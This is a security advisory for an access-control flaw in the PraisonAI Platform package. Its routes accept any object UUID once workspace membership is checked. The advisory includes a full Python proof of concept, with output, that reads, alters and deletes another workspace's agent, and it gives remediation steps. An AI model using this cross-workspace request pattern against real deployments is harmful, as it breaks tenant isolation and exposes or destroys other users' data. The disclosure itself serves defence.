PT-2026-45058 · Pypi · Praisonai-Platform
Published
2026-05-29
·
Updated
2026-05-29
·
CVE-2026-47399
CVSS v3.1
8.8
High
| Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
Summary
PraisonAI Platform's workspace-scoped REST routes contain a systemic object-level authorization flaw that allows an authenticated user from one workspace to access, modify, and delete objects belonging to another workspace by supplying the victim object's global UUID.
The affected pattern appears in workspace-scoped routes such as agents, projects, issues, and comments. The route layer verifies that the caller is a member of the
workspace id provided in the URL, but the service layer later resolves the target object by global object ID only. It does not verify that the resolved object actually belongs to the workspace in the URL.As a result, a valid member of
workspace attacker can call a route under:/api/v1/workspaces/{workspace attacker}/...
while supplying an object UUID from
workspace victim. The server authorizes the request based on membership in workspace attacker, then fetches or mutates the victim object by global UUID.This breaks the platform's workspace isolation boundary.
Details
The root cause is that workspace membership authorization and object ownership validation are not bound together.
The workspace dependency validates only that the caller is a member of the workspace named in the URL:
# praisonai platform/api/deps.py
async def require workspace member(
workspace id: str,
user: AuthIdentity = Depends(get current user),
session: AsyncSession = Depends(get db),
min role: str = "member",
) -> AuthIdentity:
member svc = MemberService(session)
has = await member svc.has role(workspace id, user.id, min role)
This confirms that the caller has access to the URL workspace. However, it does not prove that the target object belongs to that workspace.
For example, the agent routes are scoped under a workspace path, but object access is performed using only the raw
agent id:# praisonai platform/api/routes/agents.py
@router.get("/{agent id}", response model=AgentResponse)
async def get agent(workspace id: str, agent id: str, ...):
agent = await svc.get(agent id)
return AgentResponse.model validate(agent)
The service method resolves the agent by global UUID only:
# praisonai platform/services/agent service.py
async def get(self, agent id: str) -> Optional[Agent]:
return await self. session.get(Agent, agent id)
The same pattern is used for update and delete operations:
# praisonai platform/api/routes/agents.py
agent = await svc.update(agent id, ...)
deleted = await svc.delete(agent id)
# praisonai platform/services/agent service.py
agent = await self.get(agent id)
...
await self. session.delete(agent)
There is no check equivalent to:
agent.workspace id == workspace id
Therefore, if an attacker is a valid member of any workspace, they can pass their own workspace ID in the URL while supplying an object ID from another workspace.
The same architectural pattern appears in other workspace-scoped object routes, including projects, issues, and comments:
# praisonai platform/api/routes/projects.py
project = await svc.get(project id)
project = await svc.update(project id, ...)
deleted = await svc.delete(project id)
# praisonai platform/services/project service.py
return await self. session.get(Project, project id)
# praisonai platform/api/routes/issues.py
issue = await svc.get(issue id)
issue = await svc.update(issue id, ...)
deleted = await svc.delete(issue id)
comments = await svc.list for issue(issue id)
# praisonai platform/services/issue service.py
return await self. session.get(Issue, issue id)
# praisonai platform/services/comment service.py
select(Comment).where(Comment.issue id == issue id)
This indicates a systemic object-level access control issue: routes are workspace-scoped, but service-layer object lookups are not workspace-bound.
PoC
The following local PoC creates a real PraisonAI Platform FastAPI app backed by an in-memory SQLite database, then uses only HTTP requests against the real API routes.
The PoC demonstrates the following chain:
- An attacker account creates
workspace attacker. - A victim account creates
workspace victim. - The victim creates an agent in
workspace victim. - The attacker sends:
GET /api/v1/workspaces/{workspace attacker}/agents/{victim agent id}
- The server returns the victim agent from
workspace victim. - The attacker updates the victim agent through the attacker workspace path.
- The victim observes the attacker-controlled modification.
- The attacker deletes the victim agent through the attacker workspace path.
Run with:
PRAISONAI REPO=/path/to/PraisonAI python -B embedded poc.py
Full PoC:
#!/usr/bin/env python3
from future import annotations
import asyncio
import os
import sys
import types
import uuid
from pathlib import Path
from httpx import ASGITransport, AsyncClient
from sqlalchemy.ext.asyncio import create async engine
REPO ROOT = Path(os.environ.get("PRAISONAI REPO", "/path/to/PraisonAI")).resolve()
PLATFORM ROOT = REPO ROOT / "src" / "praisonai-platform"
AGENTS ROOT = REPO ROOT / "src" / "praisonai-agents"
def verify source() -> None:
expected = {
PLATFORM ROOT / "praisonai platform/api/deps.py": [
'min role: str = "member"',
"member svc.has role(workspace id, user.id, min role)",
],
PLATFORM ROOT / "praisonai platform/api/routes/agents.py": [
'@router.get("/{agent id}", response model=AgentResponse)',
"agent = await svc.get(agent id)",
'@router.patch("/{agent id}", response model=AgentResponse)',
"agent = await svc.update(",
'@router.delete("/{agent id}", status code=status.HTTP 204 NO CONTENT)',
"deleted = await svc.delete(agent id)",
],
PLATFORM ROOT / "praisonai platform/services/agent service.py": [
"return await self. session.get(Agent, agent id)",
"agent = await self.get(agent id)",
"await self. session.delete(agent)",
],
}
for path, needles in expected.items():
if not path.exists():
raise RuntimeError(f"source verification failed: file not found: {path}")
text = path.read text(encoding="utf-8")
for needle in needles:
if needle not in text:
raise RuntimeError(f"source verification failed: {needle!r} not found in {path}")
async def main() -> int:
verify source()
sys.path.insert(0, str(PLATFORM ROOT))
sys.path.insert(0, str(AGENTS ROOT))
if "passlib" not in sys.modules:
passlib pkg = types.ModuleType("passlib")
passlib pkg. path = []
sys.modules["passlib"] = passlib pkg
if "passlib.context" not in sys.modules:
passlib context = types.ModuleType("passlib.context")
class CryptContext:
def init (self, *args, **kwargs):
pass
def hash(self, password: str) -> str:
return f"stub::{password}"
def verify(self, password: str, hashed: str) -> bool:
return hashed == f"stub::{password}"
passlib context.CryptContext = CryptContext
sys.modules["passlib.context"] = passlib context
os.environ["PLATFORM JWT SECRET"] = "test-secret-for-testing-only"
from praisonai platform.api.app import create app
from praisonai platform.db.base import Base, reset engine
from praisonai platform.db import base as base mod
await reset engine()
engine = create async engine(
"sqlite+aiosqlite:///:memory:",
echo=False,
connect args={"check same thread": False},
)
base mod. engine = engine
base mod. session factory = None
async with engine.begin() as conn:
await conn.run sync(Base.metadata.create all)
app = create app()
suffix = uuid.uuid4().hex[:8]
password = "Password123!"
transport = ASGITransport(app=app)
async with AsyncClient(transport=transport, base url="http://test") as client:
attacker = await client.post(
"/api/v1/auth/register",
json={
"email": f"attacker {suffix}@example.com",
"password": password,
"name": f"attacker {suffix}",
},
)
victim = await client.post(
"/api/v1/auth/register",
json={
"email": f"victim {suffix}@example.com",
"password": password,
"name": f"victim {suffix}",
},
)
attacker json = attacker.json()
victim json = victim.json()
attacker headers = {"Authorization": f"Bearer {attacker json['token']}"}
victim headers = {"Authorization": f"Bearer {victim json['token']}"}
attacker ws = await client.post(
"/api/v1/workspaces/",
json={
"name": f"attacker-ws-{suffix}",
"slug": f"attacker-ws-{suffix}",
"description": "attacker workspace",
},
headers=attacker headers,
)
victim ws = await client.post(
"/api/v1/workspaces/",
json={
"name": f"victim-ws-{suffix}",
"slug": f"victim-ws-{suffix}",
"description": "victim workspace",
},
headers=victim headers,
)
attacker workspace id = attacker ws.json()["id"]
victim workspace id = victim ws.json()["id"]
victim agent = await client.post(
f"/api/v1/workspaces/{victim workspace id}/agents/",
json={
"name": "victim-agent",
"runtime mode": "local",
"instructions": "secret instructions",
},
headers=victim headers,
)
victim agent id = victim agent.json()["id"]
attacker read = await client.get(
f"/api/v1/workspaces/{attacker workspace id}/agents/{victim agent id}",
headers=attacker headers,
)
attacker update = await client.patch(
f"/api/v1/workspaces/{attacker workspace id}/agents/{victim agent id}",
json={"instructions": "pwned-by-attacker"},
headers=attacker headers,
)
victim read after update = await client.get(
f"/api/v1/workspaces/{victim workspace id}/agents/{victim agent id}",
headers=victim headers,
)
attacker delete = await client.delete(
f"/api/v1/workspaces/{attacker workspace id}/agents/{victim agent id}",
headers=attacker headers,
)
victim read after delete = await client.get(
f"/api/v1/workspaces/{victim workspace id}/agents/{victim agent id}",
headers=victim headers,
)
print(f"[poc] attacker workspace={attacker workspace id}")
print(f"[poc] victim workspace={victim workspace id}")
print(f"[poc] victim agent id={victim agent id}")
print(
"[poc] attacker read status="
f"{attacker read.status code} "
f"workspace id={attacker read.json().get('workspace id')} "
f"instructions={attacker read.json().get('instructions')}"
)
print(
"[poc] attacker update status="
f"{attacker update.status code} "
f"instructions={attacker update.json().get('instructions')}"
)
print(
"[poc] victim read after update status="
f"{victim read after update.status code} "
f"instructions={victim read after update.json().get('instructions')}"
)
print(f"[poc] attacker delete status={attacker delete.status code}")
print(f"[poc] victim read after delete status={victim read after delete.status code}")
if attacker read.status code != 200:
raise SystemExit("[poc] MISS: attacker could not read victim agent")
if attacker read.json().get("workspace id") != victim workspace id:
raise SystemExit("[poc] MISS: read response was not the victim workspace agent")
if attacker update.status code != 200 or attacker update.json().get("instructions") != "pwned-by-attacker":
raise SystemExit("[poc] MISS: attacker could not update victim agent")
if victim read after update.status code != 200 or victim read after update.json().get("instructions") != "pwned-by-attacker":
raise SystemExit("[poc] MISS: victim did not observe attacker-controlled update")
if attacker delete.status code != 204:
raise SystemExit("[poc] MISS: attacker could not delete victim agent")
if victim read after delete.status code != 404:
raise SystemExit("[poc] MISS: victim agent still existed after attacker delete")
print("[poc] HIT: attacker workspace token read, modified, and deleted a victim workspace agent")
await engine.dispose()
base mod. engine = None
base mod. session factory = None
return 0
if name == " main ":
raise SystemExit(asyncio.run(main()))
Observed result:
[poc] attacker workspace=3f7c...
[poc] victim workspace=be1d...
[poc] victim agent id=7f04...
[poc] attacker read status=200 workspace id=be1d... instructions=secret instructions
[poc] attacker update status=200 instructions=pwned-by-attacker
[poc] victim read after update status=200 instructions=pwned-by-attacker
[poc] attacker delete status=204
[poc] victim read after delete status=404
[poc] HIT: attacker workspace token read, modified, and deleted a victim workspace agent
This confirms that an authenticated user from one workspace can read, modify, and delete an object belonging to another workspace by using the victim object's UUID through the attacker's own workspace-scoped route.
Impact
Any authenticated workspace member who knows or obtains object UUIDs from another workspace may be able to:
- read other workspaces' agents;
- read agent instructions and metadata;
- modify victim agents;
- delete victim agents;
- potentially read, modify, or delete projects and issues that follow the same object lookup pattern;
- enumerate comments for issues by raw
issue id; - corrupt activity data, project state, and issue state across workspace boundaries.
This breaks the platform's tenant-isolation boundary. The impact is especially serious in multi-tenant deployments where separate users or teams rely on workspaces as an authorization boundary.
The demonstrated PoC confirms read, update, and delete access against agents. The same root-cause pattern appears in other workspace-scoped object routes and should be audited across the platform.
Suggested remediation
Recommended fixes:
-
Require every object fetch, update, and delete method to take both
workspace idandobject id. -
Enforce object ownership in the service layer. For example:
agent = await self. session.get(Agent, agent id)
if not agent or agent.workspace id != workspace id:
return None
-
Avoid service methods that resolve workspace-owned objects by global UUID alone.
-
Apply the same object-level ownership checks to agents, projects, issues, comments, dependencies, and any other workspace-owned resources.
-
For comment and dependency helpers that pivot from raw
issue id, validate that the parent issue belongs to the authorized workspace before returning or modifying child records. -
Add regression tests for negative cross-workspace access cases, including:
workspace A member cannot read workspace B object
workspace A member cannot update workspace B object
workspace A member cannot delete workspace B object
workspace A member cannot list comments for workspace B issue
- Return
404 Not Foundor403 Forbiddenconsistently when an object does not belong to the authorized workspace.
Security boundary
This report concerns a workspace tenant-isolation failure. The caller is authenticated, but authentication alone is insufficient. The server must also verify that the requested object belongs to the workspace for which the caller has authorization.
Fix
IDOR
Improper Access Control
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Praisonai-Platform